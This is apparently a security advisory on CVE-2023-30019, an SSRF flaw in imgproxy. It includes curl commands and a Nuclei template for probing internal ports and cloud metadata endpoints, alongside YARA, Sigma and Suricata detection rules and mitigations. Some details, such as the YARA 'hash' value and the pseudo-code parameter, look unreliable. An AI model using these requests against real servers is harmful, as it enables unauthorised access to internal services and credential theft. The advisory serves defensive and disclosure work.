CVE-2023-30019

Executive Summary

CVE-2023-30019 is a Server-Side Request Forgery (SSRF) vulnerability in imgproxy versions up to and including 3.14.0. The vulnerability stems from insufficient sanitization of the imageURL parameter, allowing an attacker to force the imgproxy server to make requests to arbitrary internal or external URLs. This can lead to unauthorized access to internal resources, data leakage, and potentially remote code execution in certain configurations. The vulnerability has a CVSS score of 5.3 (Medium) and is publicly exploitable with a verified proof-of-concept.

Supply Chain & Package Security

This vulnerability affects the open-source imgproxy project, which is distributed as a Docker image and Go binary. Organizations using imgproxy in their infrastructure should immediately assess their version and apply the recommended upgrade. There is no evidence of malicious packages or compromised supply chain artifacts related to this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows SSRF, which can be chained with other attacks to access internal services, cloud metadata endpoints, or perform port scanning.

Deep Dive & Mechanics

The imgproxy service processes image URLs provided by users. The vulnerability exists in the imageURL parameter handling. When a request is made to imgproxy with a crafted URL pointing to an internal or external resource, the server fetches that resource without proper validation. This allows an attacker to:

• Scan internal network ports.
• Access cloud metadata services (e.g., AWS http://169.254.169.254/latest/meta-data/).
• Interact with internal APIs or databases.
• Potentially achieve remote code execution if the SSRF is combined with other vulnerabilities.

The attack is performed by sending a GET request to the imgproxy endpoint with a path like /111/rs:fit:400:400:0:0/plain/http://attacker-controlled-server. The server will attempt to fetch the image from the attacker-controlled URL, confirming the SSRF.

Vulnerable vs. Patched Code

Vulnerable Code (imgproxy <= 3.14.0): The vulnerable code does not sanitize or validate the imageURL parameter. It directly passes the user-supplied URL to the HTTP client for fetching.

// Vulnerable example (pseudo-code)
func handleImageRequest(w http.ResponseWriter, r *http.Request) {
    imageURL := r.URL.Query().Get("imageURL")
    // No validation
    resp, err := http.Get(imageURL)
    // ...
}

Patched Code (imgproxy > 3.14.0): The patched version introduces URL validation, such as checking against a whitelist of allowed domains or blocking private IP ranges.

// Patched example (pseudo-code)
func handleImageRequest(w http.ResponseWriter, r *http.Request) {
    imageURL := r.URL.Query().Get("imageURL")
    if !isAllowedURL(imageURL) {
        http.Error(w, "Forbidden", http.StatusForbidden)
        return
    }
    resp, err := http.Get(imageURL)
    // ...
}

func isAllowedURL(rawURL string) bool {
    parsedURL, err := url.Parse(rawURL)
    if err != nil {
        return false
    }
    // Block private IPs
    ip := net.ParseIP(parsedURL.Hostname())
    if ip != nil && isPrivateIP(ip) {
        return false
    }
    // Additional whitelist checks
    return true
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running imgproxy <= 3.14.0.
• An interactsh server or a controlled HTTP endpoint to receive callbacks.

Exploitation Steps:

1. Basic SSRF Test: Send a request to the imgproxy server with a URL pointing to your controlled server.

   curl "http://target-imgproxy:8080/111/rs:fit:400:400:0:0/plain/http://your-interactsh-server"
   

   If the server responds with "Invalid source image" and you receive a callback on your interactsh server, the SSRF is confirmed.

2. Internal Port Scanning: Use the SSRF to scan internal ports.

   curl "http://target-imgproxy:8080/111/rs:fit:400:400:0:0/plain/http://127.0.0.1:8080"
   curl "http://target-imgproxy:8080/111/rs:fit:400:400:0:0/plain/http://127.0.0.1:3306"
   

3. Cloud Metadata Access: Attempt to access cloud metadata endpoints.

   curl "http://target-imgproxy:8080/111/rs:fit:400:400:0:0/plain/http://169.254.169.254/latest/meta-data/"
   

Nuclei Template Usage: The provided Nuclei template can be used to automate detection. Save it as CVE-2023-30019.yaml and run:

nuclei -t CVE-2023-30019.yaml -u http://target-imgproxy:8080

Blue Team

Detection:

• Monitor for requests to imgproxy with suspicious imageURL parameters pointing to internal IPs or unusual domains.
• Look for HTTP 422 responses from imgproxy with "Invalid source image" messages.
• Use the provided YARA and Sigma rules to detect exploitation attempts.

Mitigation:

• Immediately upgrade imgproxy to a version > 3.14.0.
• If upgrade is not possible, implement a reverse proxy or WAF rule to block requests with imageURL parameters containing private IPs or unexpected schemes.
• Restrict outbound network access from the imgproxy server to only necessary external services.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from imgproxy to internal IPs (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x, 127.0.0.1).
  • Requests to cloud metadata IPs (169.254.169.254).
  • Requests to known interactsh or collaborator domains.
• Log IOCs:
  • HTTP 422 responses from imgproxy with "Invalid source image" in the body.
  • Repeated requests to imgproxy with varying imageURL parameters.
• File IOCs:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2023_30019_SSRF_Imgproxy {
    meta:
        description = "Detects SSRF exploitation attempts against imgproxy CVE-2023-30019"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://breakandpray.com/cve-2023-30019-ssrf-in-imgproxy/"
        hash = "4b0a00483046022100960d7d4967f8f281a0f9d2e8d39cd31893c47363b4af04319c94b9006a115376022100f41bd1ade0c2fcf209d1edf4a1624991d51cfc5c04e2acdf19d4843e1b61df6b"
    strings:
        $ssrf_pattern1 = "/plain/http://" ascii wide
        $ssrf_pattern2 = "/plain/https://" ascii wide
        $ssrf_pattern3 = "Invalid source image" ascii wide
        $private_ip = /(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/ ascii wide
    condition:
        any of ($ssrf_pattern*) and $private_ip
}

Sigma Rule

title: Imgproxy SSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to imgproxy with suspicious imageURL parameters indicating SSRF
author: Valters IT
date: 2025-04-10
references:
    - https://breakandpray.com/cve-2023-30019-ssrf-in-imgproxy/
    - https://github.com/imgproxy/imgproxy
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/plain/http://"
            - "/plain/https://"
        sc-status: 422
        cs-uri-query|re:
            - "127\.0\.0\.1"
            - "10\.\d{1,3}\.\d{1,3}\.\d{1,3}"
            - "172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}"
            - "192\.168\.\d{1,3}\.\d{1,3}"
    condition: selection
falsepositives:
    - Legitimate use of imgproxy to fetch images from internal servers (if allowed)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-30019 Imgproxy SSRF Attempt"; flow:to_server; content:"/plain/http://"; http_uri; content:"Invalid source image"; http_server_body; pcre:"/(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/"; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2023-30019

info:
  name: Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)
  author: DhiyaneshDK
  severity: medium
  description: |
    imgproxy <=3.14.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Upgrade to a version of Imgproxy that is not affected by this vulnerability.
  reference:
    - https://breakandpray.com/cve-2023-30019-ssrf-in-imgproxy/
    - https://github.com/imgproxy/imgproxy
    - https://github.com/j4k0m/godkiller
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-30019
    cwe-id: CWE-918
    epss-score: 0.55575
    epss-percentile: 0.98094
    cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: evilmartians
    product: imgproxy
    shodan-query:
      - "Server: imgproxy"
      - "server: imgproxy"
  tags: cve,cve2023,imgproxy,ssrf,oast,evilmartians,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/111/rs:fit:400:400:0:0/plain/http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - Invalid source image

      - type: status
        status:
          - 422

Remediation & Mitigation

Immediate Actions:

1. Upgrade imgproxy: Upgrade to a version > 3.14.0. If no official patch is available, consider using a fork or applying manual patches.
2. Network Segmentation: Restrict outbound traffic from the imgproxy server to only necessary external services using firewall rules.
3. Input Validation: Implement a reverse proxy or WAF to validate the imageURL parameter, blocking requests to private IP ranges and unexpected schemes.
4. Monitoring: Enable logging and monitoring for SSRF patterns as described in the Detection Engineering section.

Long-term Measures:

• Regularly update all dependencies and third-party components.
• Conduct security reviews of open-source components before deployment.
• Implement a bug bounty program to encourage responsible disclosure.

Valters IT

{/* [Security Hash: 4D833D1C67ECAF52D2629816] */}